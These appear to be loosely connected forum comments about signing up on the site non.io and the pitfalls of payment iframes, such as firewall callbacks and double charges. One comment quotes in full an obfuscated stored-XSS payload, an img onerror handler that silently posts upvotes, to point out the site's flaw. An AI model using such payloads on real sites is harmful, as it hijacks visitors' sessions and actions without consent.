Edit: You can browse without registering after all, here’s the link: https://non.io/#all (didn’t see it on the landing page or OP post).
I was not able to create an account. (I had to go desktop)
My big issues with iframes is the checkout process which inevitably has to make callbacks to your api with the results of the transaction. If you're behind any sort of firewall (like most businesses are) you're in for a world of http pain.
This is also why styling such forms is always some species of wonky.
The current top post uses this XSS to have users upvote it:
<img src="a" onerror="soci.postData(String.fromCharCode(112,111,115,116,116,97,103,47,97,100,100,45,118,111,116,101),{post:String.fromCharCode(120),tag:String.fromCharCode(120)})">
Which sends a POST request to `posttag/add-vote` for the post labeled `x`
Those iFrames cause all kinds of headaches when the user hits the back button or double clicks a submit button or does any number of other things that happen thousands of times a day on a moderately high traffic site, and when it messes up you either miss out on a sale (ouch) or charge the customer twice (double ouch).
They usually don't tell you they do. For example, both Stripe and Square use iFrames; otherwise it's not possible to hide credit card entry from your main application.
There are gateways that redirect you away and return you back after payment, but that's a whole another story.